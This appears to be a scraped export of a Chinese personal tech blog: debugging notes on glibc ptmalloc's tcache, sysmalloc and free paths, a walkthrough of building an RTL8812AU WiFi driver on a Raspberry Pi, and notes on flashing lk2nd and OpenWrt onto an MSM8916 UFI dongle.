\u0026#34;r\u0026#34;(_x8), \u0026#34;r\u0026#34;(_x0), \u0026#34;r\u0026#34;(_x1), \u0026#34;r\u0026#34;(_x2) 23 : \u0026#34;memory\u0026#34;); 24 _sys_result = _x0; 25 } 26 _sys_result; 27 }) thread_arena = \u0026amp;main_arena; main_arena 结构体此时是控的：\npwndbg\u0026gt; p main_arena $2 = { mutex = 0, flags = 0, have_fastchunks = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x0, last_remainder = 0x0, bins = {0x0 \u0026lt;repeats 254 times\u0026gt;}, binmap = {0, 0, 0, 0}, next = 0xf1bebe7b0a50 \u0026lt;main_arena\u0026gt;, next_free = 0x0, attached_threads = 1, system_mem = 0, max_system_mem = 0 } malloc_init_state # 用于初始化堆状态。\nfor (i = 1; i \u0026lt; NBINS; ++i) { bin = bin_at (av, i); bin-\u0026gt;fd = bin-\u0026gt;bk = bin; } 将 bins 链表首尾相连。\n在 glibc 中，bin_at 函数用于计算给定索引位置的 bin（即线程本地缓存中的缓存链表）的地址。但是，这个地址指向的并不是用户数据本身，而是指向缓存链表头部的指针。详见 常见的宏分析 章节\nTUNABLE_GET # 这是一组可调节参数，你可以设置 TUNABLE 环境变量来改变 glibc 的运行时参数如：\nGLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES 使用 ld-linux-aarch64.so.2 --list-tunables 列举所有可调参数和默认值：\nihexon@virto ~\u0026gt; /lib/ld-linux-aarch64.so.1 --list-tunables glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10) glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647) glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff) glibc.malloc.perturb: 0 (min: 0, max: 255) glibc.pthread.rseq: 1 (min: 0, max: 1) glibc.cpu.name: glibc.mem.tagging: 0 (min: 0, max: 255) glibc.elision.tries: 3 (min: 0, max: 2147483647) glibc.elision.enable: 0 (min: 0, max: 1) glibc.malloc.hugetlb: 0x0 (min: 0x0, max: 0xffffffffffffffff) glibc.malloc.mxfast: 0x0 (min: 0x0, max: 0xffffffffffffffff) glibc.rtld.dynamic_sort: 2 (min: 1, max: 2) .... tcache_init # 一个完整的 tcache_init 被触发的情况：\npwndbg\u0026gt; bt #0 tcache_init () at malloc.c:3236 #1 0x0000e0306be9b604 in __GI___libc_malloc (bytes=bytes@entry=1024) at malloc.c:3301 #2 0x0000e0306be7648c in __GI__IO_file_doallocate (fp=0xe0306c001518 \u0026lt;_IO_2_1_stdout_\u0026gt;) at filedoalloc.c:101 #3 0x0000e0306be85728 in __GI__IO_doallocbuf (fp=fp@entry=0xe0306c001518 \u0026lt;_IO_2_1_stdout_\u0026gt;) at /data/local/tmp/gentoo/home/glibc-2.38/libio/libioP.h:1030 #4 0x0000e0306be839e8 in _IO_new_file_overflow (f=0xe0306c001518 \u0026lt;_IO_2_1_stdout_\u0026gt;, ch=-1) at fileops.c:745 #5 0x0000e0306be84664 in _IO_new_file_xsputn (f=0xe0306c001518 \u0026lt;_IO_2_1_stdout_\u0026gt;, data=\u0026lt;optimized out\u0026gt;, n=8) at /data/local/tmp/gentoo/home/glibc-2.38/libio/libioP.h:1030 #6 0x0000e0306be5bcb4 in __printf_buffer_flush_to_file (buf=buf@entry=0xffffd089eab0) at ../libio/libioP.h:1030 #7 0x0000e0306be5bd9c in __printf_buffer_to_file_done (buf=buf@entry=0xffffd089eab0) at printf_buffer_to_file.c:120 #8 0x0000e0306be64324 in __vfprintf_internal (s=\u0026lt;optimized out\u0026gt;, format=0xb3a11f9f0cb8 \u0026#34;Loop %d:\\n\u0026#34;, ap=..., mode_flags=mode_flags@entry=0) at vfprintf-internal.c:1524 #9 0x0000e0306be5b4b8 in __printf (format=\u0026lt;optimized out\u0026gt;) at printf.c:33 #10 0x0000b3a11f9f0b34 in main () at malloc_test.c:14 #11 0x0000e0306be36f78 in __libc_start_call_main (main=main@entry=0xb3a11f9f0ad4 \u0026lt;main\u0026gt;, argc=argc@entry=1, argv=argv@entry=0xffffd089f128) at ../sysdeps/nptl/libc_start_call_main.h:58 #12 0x0000e0306be37040 in __libc_start_main_impl (main=0xb3a11f9f0ad4 \u0026lt;main\u0026gt;, argc=1, argv=0xffffd089f128, init=\u0026lt;optimized out\u0026gt;, fini=\u0026lt;optimized out\u0026gt;, rtld_fini=\u0026lt;optimized out\u0026gt;, stack_end=\u0026lt;optimized out\u0026gt;) at ../csu/libc-start.c:360 #13 0x0000b3a11f9f09f0 in _start () 尝试使用 arena_get (ar_ptr, bytes); 获取一个 arena 但显然 ar_ptr 是 null，最终会通过 arena_get2 创建一个新的 arena 作为 main_arena。\n第一次 tcache_init 时，会进入 _int_malloc 创建大小为 640 的arena 区域，这块区域最终会由 sysmalloc (nb, av); 来申请\nar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); // 跳进 sysmalloc 4468 { ► 4469 void *p = sysmalloc (nb, av); 4470 if (p != NULL) 4471 alloc_perturb (p, bytes); 4472 return p; 从现在开始，vmmap显示进程的内存空间会多出一块 Heap 区域：\n$ vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0xb3a11f9f0000 0xb3a11f9f1000 r-xp 1000 0 /home/ihexon/cpp/malloc_test 0xb3a11fa0f000 0xb3a11fa10000 r--p 1000 f000 /home/ihexon/cpp/malloc_test 0xb3a11fa10000 0xb3a11fa11000 rw-p 1000 10000 /home/ihexon/cpp/malloc_test 0xb3a13d699000 0xb3a13d6ba000 rw-p 21000 0 [heap] _int_malloc 根据 bytes 返回一个 victim 指针，这就是 tcache 所在的起始位置：\ntcache = (tcache_perthread_struct *) victim; memset (tcache, 0, sizeof (tcache_perthread_struct)); sysmalloc 分析 # sysmalloc 使用系统调用 __sbrk 来分配内存，常见的当 main_arena.top \u0026lt; MINSIZE 或者 main_arena == NULL 的时候（用人话来说就是 glibc 初始化 heap 的时候），glibc 会使用 sysmalloc 来申请更多的内存。\n当请求的大小到达 mmap 的阀值，glibc 尝试使用 mmap 分配：\n2546 /* 2547 If have mmap, and the request size meets the mmap threshold, and 2548 the system supports mmap, and there are few enough currently 2549 allocated mmapped regions, try to directly map this request 2550 rather than expanding top. 2551 */ 2552 2553 if (av == NULL 2554 || ((unsigned long) (nb) \u0026gt;= (unsigned long) (mp_.mmap_threshold) 2555 \u0026amp;\u0026amp; (mp_.n_mmaps \u0026lt; mp_.n_mmaps_max))) 在 aarch64 glibc 2.38 中：\nmp_.n_mmaps_max 的值为 65536 (0x10000)。 mp_.mmap_threshold 的值为 131072 (0x20000)。 old_top、old_size和old_end分别保存了top chunk的指针，大小以及尾部的地址：\n2523 mchunk // In sysmalloc /* incoming value of av-\u0026gt;top */ 2524 INTERN char *old_end ; /* its size */ 2525 char *old_end; /* its end address */ ► 2578 old_top = av-\u0026gt;top; 2579 old_size = chunksize (old_top); 2580 old_end = (char *) (chunk_at_offset (old_top, old_size)); 将 brk 和 snd_brk 指针悬空：\nbrk = snd_brk = (char *) (MORECORE_FAILURE); 2659 size = nb + mp_.top_pad + MINSIZE; // size= 135168 brk = (char *) (MORECORE (size)); // brk = 0xb7dc0c694000 brk 是起始地址\nMORECORE 宏: # MORECORE 在编译时会被替换为 __glibc_morecore 函数，使用 __sbrk 向操作系统申请大小为 increment 的内存。\n// malloc/malloc.c 368 #include \u0026#34;morecore.c\u0026#34; 370 #define MORECORE (*__glibc_morecore) // malloc/morecore.c 23 void * \u0026gt;\u0026gt; 24 __glibc_morecore (ptrdiff_t increment) 25 { 26 if (__always_fail_morecore) \u0026gt;\u0026gt; 27 return NULL; 28 \u0026gt;\u0026gt; 29 void *result = (void *) __sbrk (increment); 30 if (result == (void *) -1) \u0026gt;\u0026gt; 31 return NULL; 32 33 return result; 34 } ► 2734 if (mp_.sbrk_base == 0) 2735 mp_.sbrk_base = brk; 2736 av-\u0026gt;system_mem += size; mp_.sbrk_base 是一个全局变量，用于存储堆（heap）的起始地址。 av-\u0026gt;system_mem 记录了该 arena 实例当前映射的所有可写内存的总大小。此时\nav.system_mem = 135168 mp_.sbrk_base = 0xb7dc0c694000 end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); // end_misalign = 0xb7dc0c6b5000 2769 { size_t front_misalign 2770 front_misalign = 0; 2771 end_misalign = 0; 2772 correction = 0; 2773 aligned_brk = brk; snd_brk= 0xb7dc0c6b5000 aligned_brk = 0xb7dc0c694000 2865 av-\u0026gt;top = (mchunkptr) aligned_brk; 2866 set_head (av-\u0026gt;top, (snd_brk - aligned_brk + correction) | PREV_INUSE); 2867 av-\u0026gt;system_mem += correction; 2915 /* finally, do the allocation */ 2916 p = av-\u0026gt;top; 2917 size = chunksize (p); 2919 /* check that one of the above allocation paths succeeded */ 2920 if ((unsigned long) (size) \u0026gt;= (unsigned long) (nb + MINSIZE)) 2921 { 2922 remainder_size = size - nb; 2923 remainder = chunk_at_offset (p, nb); 2924 av-\u0026gt;top = remainder; 2925 set_head (p, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); 2926 set_head (remainder, remainder_size | PREV_INUSE); 2927 check_malloced_chunk (av, p, nb); ► 2928 return chunk2mem (p); 2929 } free() 分析 # 3346 __libc_free (void *mem) 3361 p = mem2chunk (mem); // 将 mem 地址转换chunk 开始的地址 mem2chunk 展开后： ((mchunkptr)tag_at (((char*)(p) - (2 * (sizeof (size_t)))))) 一个 chunk 结构体如下：\n$17 = { mchunk_prev_size = 0, mchunk_size = 321, fd = 0x9f4e676ebcb24fd6, bk = 0x9491939aa2edf5dc, fd_nextsize = 0x3619a269d7022118, bk_nextsize = 0xc6be861b52824684 } 也就是指针下移2个 size_t 长度，所以 mem 指向的是 p.fd，向下移懂 2 个 size_t 就指向了 mchunk_prev_size。\n3385 ar_ptr = arena_for_chunk (p); 通过 p 计算得到为 main_arena 的地址 并赋值给 ar_ptr。\n3386 _int_free (ar_ptr, p, 0); 进入正式的 free 步骤：\n4493 size = chunksize (p); // 计算 这个 chunk 的大小 // 展开为 (((p)-\u0026gt;mchunk_size) \u0026amp; ~((0x1 | 0x2 | 0x4))) 通常情况下，chunks 都会被链接进 tcache 中，这也说明了 tcache 优先级非常高。\n4512 if (tcache != NULL \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) ► 4515 tcache_entry *e = (tcache_entry *) chunk2mem (p); 归还到 tcache 中：\n► 4541 if (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count) { tcache_put (p, tc_idx); return } tcache 结构：\ntcache is pointing to: 0xba6ff66a2010 for thread 1 { counts = {0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 2, 0, 0, 1, 0, 0, 1, 0 \u0026lt;repeats 12 times\u0026gt;, 1, 0, 1, 0, 0}, entries = {0x0, 0xba6ff66cc990, 0x0, 0x0, 0xba6ff66bdde0, 0xba6ff66a4c00, 0xba6ff66a6ff0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xba6ff66c88c0, 0x0, 0x0, 0xba6ff66a26b0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xba6ff66bc5a0, 0x0, 0x0, 0xba6ff66aede0, 0xba6ff66b64f0, 0x0, 0x0, 0x0, 0xba6ff66a29c0, 0xba6ff66c6920, 0xba6ff66c1b40, 0xba6ff66b6720, 0x0, 0x0, 0xba6ff66bdb10, 0x0, 0x0, 0xba6ff66b8570, 0x0 \u0026lt;repeats 12 times\u0026gt;, 0xba6ff66ba8b0, 0x0, 0xba6ff66a6c00, 0x0, 0x0} } tcache.counts = 64，而 tc_idx 经过计算为 13，处在 64 的范围内：\nsize_t tc_idx = csize2tidx (nb); mp_.tcache_count 是记录当前线程已经从 tcache 中成功分配的内存块总数的变量。它用于监控和控制当前线程从 tcache 中分配内存的情况，mp_.tcache_count 的最大值为 65535。 do_set_tcache_count 函数用于设置线程的 tcache 的容量限制。通过调用这个函数，可以设置当前线程的 tcache 的容量限制，从而控制当前线程能够缓存的小内存分配的数量。 5612 static __always_inline int 5613 do_set_tcache_count (size_t value) 5614 { 5615 if (value \u0026lt;= MAX_TCACHE_COUNT) 5616 { 5617 LIBC_PROBE (memory_tunable_tcache_count, 2, value, mp_.tcache_count); 5618 mp_.tcache_count = value; 5619 return 1; 5620 } 5621 return 0; 5622 } tcache_put (p, tc_idx); # 3144 static __always_inline void 3145 tcache_put (mchunkptr chunk, size_t tc_idx) 3146 { 3147 tcache_entry *e = (tcache_entry *) chunk2mem (chunk); 3148 3149 /* Mark this chunk as \u0026#34;in the tcache\u0026#34; so the test in _int_free will 3150 detect a double free. */ 3151 e-\u0026gt;key = tcache_key; 3152 3153 e-\u0026gt;next = PROTECT_PTR (\u0026amp;e-\u0026gt;next, tcache-\u0026gt;entries[tc_idx]); 3154 tcache-\u0026gt;entries[tc_idx] = e; 3155 ++(tcache-\u0026gt;counts[tc_idx]); 3156 } tcache_entry *e = (tcache_entry *) chunk2mem (chunk); 从 chunk 得到 tcache_entry，tcache_entry 是每个 tcache.counts[N] 链表的入口地址，还是注意这个结构：\ntcache is pointing to: 0xba6ff66a2010 for thread 1 { counts = {0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 2, 0, 0, 1, 0, 0, 1, 0 \u0026lt;repeats 12 times\u0026gt;, 1, 0, 1, 0, 0}, entries = {0x0, 0xba6ff66cc990, 0x0, 0x0, 0xba6ff66bdde0, 0xba6ff66a4c00, 0xba6ff66a6ff0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xba6ff66c88c0, 0x0, 0x0, 0xba6ff66a26b0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xba6ff66bc5a0, 0x0, 0x0, 0xba6ff66aede0, 0xba6ff66b64f0, 0x0, 0x0, 0x0, 0xba6ff66a29c0, 0xba6ff66c6920, 0xba6ff66c1b40, 0xba6ff66b6720, 0x0, 0x0, 0xba6ff66bdb10, 0x0, 0x0, 0xba6ff66b8570, 0x0 \u0026lt;repeats 12 times\u0026gt;, 0xba6ff66ba8b0, 0x0, 0xba6ff66a6c00, 0x0, 0x0} } 这里得到的 tcache_entrie = 0xba6ff66ad7a0\nPROTECT_PTR: PROTECT_PTR() is going to protect this chunk\u0026rsquo;s fd ptr\u0026hellip;\ne-\u0026gt;next = PROTECT_PTR (\u0026amp;e-\u0026gt;next, tcache-\u0026gt;entries[tc_idx]); tcache-\u0026gt;entries[tc_idx] = e; 将 chunk.next 指向 tcache-\u0026gt;entries[tc_idx],比如 tc_idx=17，那么 chunk.next 就指向了 tcache-\u0026gt;entries[17] 的开始地址。 将 tcache-\u0026gt;entries[17] 的开始地址更新为 chunk 的开始地址，完成 chunk 的插入到头部的操作 对 tcache.counts[tc_idx] 计算器自增，代表此时 tcache-\u0026gt;entries[17] 添加进了一块 chunk。 常用的宏分析 # bin_at # #define bin_at(m, i) (mbinptr) (((char *) \u0026amp;((m)-\u0026gt;bins[((i) -1) * 2])) - offsetof (struct malloc_chunk, fd))","date":"21 November 2023","externalUrl":null,"permalink":"/posts/heap/","section":"Posts","summary":"围绕 GLIBC ptmalloc，记录 tcache、smallbins、malloc 路径和堆结构的调试分析。\n","title":"glibc ptmalloc 分析笔记","type":"posts"},{"content":"","date":"21 November 2023","externalUrl":null,"permalink":"/tags/heap/","section":"Tags","summary":"","title":"Heap","type":"tags"},{"content":"","date":"21 November 2023","externalUrl":null,"permalink":"/tags/ptmalloc/","section":"Tags","summary":"","title":"Ptmalloc","type":"tags"},{"content":"","date":"5 November 2023","externalUrl":null,"permalink":"/categories/linux/","section":"Categories","summary":"","title":"Linux","type":"categories"},{"content":"","date":"5 November 2023","externalUrl":null,"permalink":"/tags/linux-driver/","section":"Tags","summary":"","title":"Linux-Driver","type":"tags"},{"content":"","date":"5 November 2023","externalUrl":null,"permalink":"/tags/rtl8821/","section":"Tags","summary":"","title":"Rtl8821","type":"tags"},{"content":"记录 RTL8821 Linux 无线网卡驱动的识别、编译、安装和调试过程。\n首先确定 USB VID\n$ lsusb Bus 001 Device 004: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter root hub 我说使用的开源驱动：\nhttps://github.com/aircrack-ng/rtl8812au 我的内核版本：\n$ uname -a Linux raspberrypi 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr 3 17:24:16 BST 2023 aarch64 GNU/Linux 安装 Linux Kernel Headers\nsudo apt install linux-headers-(uname -r) 如果是树莓派：\nsudo apt install raspberrypi-kernel-headers 编译内核模块\n$ git clone https://github.com/aircrack-ng/rtl8812au --depth 1 $ make -j8 如果是树莓派，需要修改 Makefile 指定平台架构：\nihexon@raspberrypi ~/rtl8812au (v5.6.4.2)\u0026gt; git diff diff --git a/Makefile b/Makefile index 947d319..31b9d5a 100755 --- a/Makefile +++ b/Makefile @@ -97,10 +97,10 @@ CONFIG_RTW_SDIO_PM_KEEP_POWER = y ###################### MP HW TX MODE FOR VHT ####################### CONFIG_MP_VHT_HW_TX_MODE = n ###################### Platform Related ####################### -CONFIG_PLATFORM_I386_PC = y +CONFIG_PLATFORM_I386_PC = n CONFIG_PLATFORM_ANDROID_ARM64 = n CONFIG_PLATFORM_ARM_RPI = n -CONFIG_PLATFORM_ARM64_RPI = n +CONFIG_PLATFORM_ARM64_RPI = y CONFIG_PLATFORM_ARM_NV_NANO = n CONFIG_PLATFORM_ANDROID_X86 = n CONFIG_PLATFORM_ANDROID_INTEL_X86 = n 加载驱动模块：\n$ sudo insmod 88XXau.ko 查看 dmesg 信息，此时 Wireless interface 显示注册启用：\n$ dmesg| grep 88XX [ 52.215905] 88XXau: loading out-of-tree module taints kernel. [ 52.381751] usb 1-1.3: 88XXau 54:c9:ff:02:c0:23 hw_info[d7] [ 52.388130] usbcore: registered new interface driver rtl88XXau 测个速看看：\n$ iperf3 -c 192.168.31.254 -t 10 Connecting to host 192.168.31.254, port 5201 [ 5] local 192.168.31.170 port 46672 connected to 192.168.31.254 port 5201 [ ID] Interval Transfer Bitrate Retr Cwnd [ 5] 0.00-1.00 sec 8.42 MBytes 70.6 Mbits/sec 0 462 KBytes [ 5] 1.00-2.00 sec 9.92 MBytes 83.2 Mbits/sec 0 905 KBytes [ 5] 2.00-3.00 sec 10.0 MBytes 83.9 Mbits/sec 0 1.17 MBytes [ 5] 3.00-4.00 sec 7.50 MBytes 62.9 Mbits/sec 0 1.31 MBytes [ 5] 4.00-5.00 sec 6.25 MBytes 52.4 Mbits/sec 0 1.31 MBytes [ 5] 5.00-6.00 sec 5.00 MBytes 41.9 Mbits/sec 0 1.39 MBytes [ 5] 6.00-7.00 sec 7.50 MBytes 62.9 Mbits/sec 0 1.46 MBytes [ 5] 7.00-8.00 sec 7.50 MBytes 62.9 Mbits/sec 0 1.46 MBytes [ 5] 8.00-9.00 sec 6.25 MBytes 52.4 Mbits/sec 0 1.55 MBytes [ 5] 9.00-10.00 sec 8.75 MBytes 73.4 Mbits/sec 0 1.71 MBytes - - - - - - - - - - - - - - - - - - - - - - - - - [ ID] Interval Transfer Bitrate Retr [ 5] 0.00-10.00 sec 77.1 MBytes 64.7 Mbits/sec 0 sender [ 5] 0.00-10.08 sec 73.7 MBytes 61.3 Mbits/sec receiver iperf Done. 散热问题 # 这张无线网卡承载了一个比较繁忙当对速度要求不高的局域网文件传输服务。但后期发现 RTL8821 有时候会断开连接，要么就是丢包率陡然上升，我以为是驱动稳定性的问题。\n直到有一次摸了一下网卡，被烫的跳起来，这起码得有 80 多度了\u0026hellip;.最后拆开外壳加了散热片，至此变得非常稳定：）\n","date":"5 November 2023","externalUrl":null,"permalink":"/posts/rtldrvins/","section":"Posts","summary":"记录 RTL8821 Linux 无线网卡驱动的识别、编译、安装和调试过程。\n","title":"RTL8821 Linux 驱动安装","type":"posts"},{"content":"","date":"5 November 2023","externalUrl":null,"permalink":"/tags/wifi/","section":"Tags","summary":"","title":"Wifi","type":"tags"},{"content":"","date":"21 October 2023","externalUrl":null,"permalink":"/categories/embedded/","section":"Categories","summary":"","title":"Embedded","type":"categories"},{"content":"","date":"21 October 2023","externalUrl":null,"permalink":"/tags/msm8916/","section":"Tags","summary":"","title":"Msm8916","type":"tags"},{"content":"记录 MSM8916/UFI 设备上的 lk2nd、OpenWrt 启动、分区和调试过程。\nMSM8916 研究记录 # lk1nd/lk2nd # lk2nd: \u0026ldquo;secondary\u0026rdquo; bootloader intended for devices where existing firmware cannot be replaced easily (most smartphones and tablets). In this configuration, lk2nd does not replace the stock bootloader. Instead, it is packed into an Android boot image, which is then loaded by the stock bootloader just like the original Android image. The real operating system can be placed in the boot partition with 512 KiB offset or stored in a ext2 file system. It does not have to be Android or even Linux, any kind of kernel can be packed into an Android boot image.\nlk1st: primary bootloader intended for single-board computers (SBCs) and expert users. In this case, it is the \u0026ldquo;first\u0026rdquo; bootloader responsible for loading the main operating system.\n所以 lk1nd 为 1 级引导，用于启动整个操作系统。而 lk2nd 不是必须的，lk2nd 提供给我们一个比较友好的 fastboot interface 来维护 emmc 内的各个分区。\nUFI003 OpenWrt Build Notes # Build Environment:\nihexon@ihexon-desktop /m/s/immortalwrt (master)\u0026gt; uname -a Linux ihexon-desktop 5.10.160-rockchip #20 SMP Sun Nov 12 16:13:15 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux ihexon@ihexon-desktop /m/s/immortalwrt (master)\u0026gt; gcc -v; Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/lib/gcc/aarch64-linux-gnu/11/lto-wrapper Target: aarch64-linux-gnu Configured with: ../src/configure -v --with-pkgversion=\u0026#39;Ubuntu 11.4.0-1ubuntu1~22.04\u0026#39; --with-bugurl=file:///usr/share/doc/gcc-11/README.Bugs --enable-languages=c,ada,c++,go,d,fortran,objc,obj-c++,m2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-11 --program-prefix=aarch64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-libquadmath --disable-libquadmath-support --enable-plugin --enable-default-pie --with-system-zlib --enable-libphobos-checking=release --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --enable-fix-cortex-a53-843419 --disable-werror --enable-checking=release --build=aarch64-linux-gnu --host=aarch64-linux-gnu --target=aarch64-linux-gnu --with-build-config=bootstrap-lto-lean --enable-link-serialization=2 Thread model: posix Supported LTO compression algorithms: zlib zstd Git repo:\nihexon@ihexon-desktop /m/s/immortalwrt (master)\u0026gt; git remote -v origin https://github.com/lkiuyu/immortalwrt (fetch) origin https://github.com/lkiuyu/immortalwrt (push) Thanks to lkiuyu/immortalwrt, all UFI kernel/packages/firmware patches are integrated into this branch, so we can easily build our own image for UFI stick :)\n$ ./scripts/feeds update -a $ ./scripts/feeds install -a -f Before building OpenWrt, install the required packages and make sure you have stable network connectivity:\n\u0026gt; sudo apt install u-boot-tools simg2img perl \u0026gt; set -x http_proxy http://IP:PORT # set http(s)_proxy \u0026gt; set -x https_proxy http://IP:PORT Make .config # You need at least 50 GB of disk space.\n\u0026gt; make defconfig \u0026gt; make menuconfig 重要的配置会一一列举，其余的附加功能可以自己定制：\nSelect Target system, For now I have Zhihe OpenStick UFI003, so select right profile to start build:\nAdjust the Target Images: We dont need squashfs cause we want the root can be modifies in the future. Make sure the image is big enough to store the rootfs, recommend 1024M or bigger.\nMost important, create an ext4 filesystem with a journal: LuCI Configure # Definitely we need LuCI interface, so select LuCI packages. I use nginx with SSL as the LuCI web server: UFI has a modem, so LuCI needs ModemManager.\nLuCI → 5. Protocols ──\u0026gt;\nDocker # Filesystem # USB 网络 # Errors # go-bootstrap cannot be installed on arm64 system In x86 system without any problem, but arm64 environment has this issue, simple to solve: edit .config, set CONFIG_GOLANG_EXTERNAL_BOOTSTRAP_ROOT to your go installed path:\nCONFIG_GOLANG_EXTERNAL_BOOTSTRAP_ROOT=\u0026#34;/home/ihexon/go/\u0026#34; Now run make again.\n打开 USB ADB 调试，并关闭其他 USB 功能，如果同时开启 adbd 和 rndis 会导致 ADB 无法发现 UFI1003 设备，因为 Windows 似乎不支持 USB 多设备。\nihexon@raspberrypi /t/rootfs\u0026gt; cat etc/config/gc config gc \u0026#39;config\u0026#39; option enabled \u0026#39;1\u0026#39; option adb \u0026#39;1\u0026#39; option rndis \u0026#39;0\u0026#39; option mass \u0026#39;0\u0026#39; option mass_path \u0026#39;/\u0026#39; option serial \u0026#39;0\u0026#39; option hid \u0026#39;0\u0026#39; option ecm \u0026#39;0\u0026#39; option acm \u0026#39;0\u0026#39; option printer \u0026#39;0\u0026#39; option midi \u0026#39;0\u0026#39; Debug # make -j23 V=sc 2\u0026gt;\u0026amp;1 |tee build.log | grep -i -E \u0026#34;^make.*(error|[12345]...Entering dir)\u0026#34; 所有的日志将被写入 build.log 中，以便定位错误。\nRefer # https://wiki.postmarketos.org/wiki/Lk2nd/lk1st https://openwrt.org/docs/guide-developer/start ","date":"21 October 2023","externalUrl":null,"permalink":"/posts/ufidev/","section":"Posts","summary":"记录 MSM8916/UFI 设备上的 lk2nd、OpenWrt 启动、分区和调试过程。\n","title":"MSM8916/UFI 研究记录","type":"posts"},{"content":"","date":"21 October 2023","externalUrl":null,"permalink":"/tags/openwrt/","section":"Tags","summary":"","title":"Openwrt","type":"tags"},{"content":"记录 UFI001C/MSM8916 平台刷写 OpenWrt、配置网络、SSH、ZRAM 与救援流程。\nOpenWrt4UFI Stick Notes # Hardware \u0026amp; SerialConsole # MSM8916 Soc 平台 4GB eMMC 512MB DDR 内存 相关 dts 树文件：\nmsm8916.dtsi msm8916-ufi.dtsi msm8916-thwc-ufi001c.dts 我的 UFI BCP 丝印为 UFI003_MB_V02，Serial Console 的触点也有提示，注意使用 FT232 USB UART Board 的时候需要连接 UFI 的 GND 触点，否则 Serial Console 无输出。\n无论如何也不要连接 VCC 触点\n写入系统镜像 # 下载 Android platform-tools： https://developer.android.com/tools/releases/platform-tools\n内核分区与文件系统镜像分别是：\nimmortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-boot.img：rootfs 分区 immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-boot.img：内核所在的 Boot 分区\n我的 UFI Wi-Fi Stick 的原厂 Firmware 就已经开启了 adbd，使用 adb reboot bootloader 直接就进到原厂 fastboot 了：\n$ adb devices * daemon not running; starting now at tcp:5037 * daemon started successfully List of devices attached 0123456789 device $ adb reboot bootloader $ fastboot devices 6597cd5e fastboot 如果之前写入过镜像，那么只需要写入 boot 和 rootfs 分区。\n$ fastboot flash boot immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-boot.img $ fastboot flash rootfs immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-system.img 如果是从原厂 Android 镜像刷成 OpenWrt，那么需要更改分区表和写入 lk1nd 来引导 Linux 内核，最后写入 boot 和 rootfs 分区：\n# 写入 lk2nd fastboot erase boot fastboot flash boot lk2nd.img fastboot reboot # 使用 lk2nd 备份基带固件 fastboot oem dump fsc fastboot get_staged fsc.bin fastboot oem dump fsg fastboot get_staged fsg.bin fastboot oem dump modemst1 fastboot get_staged modemst1.bin fastboot oem dump modemst2 fastboot get_staged modemst2.bin fastboot erase lk2nd fastboot erase boot fastboot reboot bootloader # 写入高通 Bootloader 启动链与备份的原厂基带固件， # lk2nd \u0026amp; lk1nd 是开源实现，这样 Linux Kernel 就可以支持初始化 KVM 环境 fastboot flash partition gpt_both0.bin fastboot flash hyp hyp.mbn fastboot flash rpm rpm.mbn fastboot flash sbl1 sbl1.mbn fastboot flash tz tz.mbn fastboot flash fsc fsc.bin fastboot flash fsg fsg.bin fastboot flash modemst1 modemst1.bin fastboot flash modemst2 modemst2.bin fastboot flash aboot aboot.bin fastboot flash cdt sbc_1.0_8016.bin fastboot erase boot fastboot erase rootfs fastboot reboot # 写入 rootfs 和 boot 分区 fastboot flash boot immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-boot.img fastboot flash rootfs immortalwrt-msm89xx-msm8916-openstick-ufi003-ext4-system.img fastboot reboot 请注意权限问题：如果Linux 的 udev 规则没有自动给当前用户添加 usb 设备读写权限，请使用 sudo 执行 adb 和 fastboot\n在第一次启动后，OpenWrt会调整 rootfs 分区的结束扇区到 eMMC 的末尾，随后重启。\n正常情况下：\nUFI 会作为一个 ADB 设备挂在主机 USB 端口上 可以搜索到新的 Wi-Fi 信号： 红灯闪烁 如果 UFI 设备变成了 9008/EDL 或者 9006 模式，说明某一步骤出错了：（，需要进入9008救援模式恢复原厂固件。\n配置 # 扩展卡 # UFI003_MB_V02 可以接上扩展卡，实现 供电+百兆有线网+双USB+SD卡功能：\nSSH 登录 OpenWrt 后 ip addr 可以看到 eth0 设备。\n将 UFI 作为一个小型服务器，DHCP Client 模式，挂在路由器后面，这就需要调整 br-lan，取消 eth0 的桥接模式：\n在 cgi-bin/luci/admin/network/network 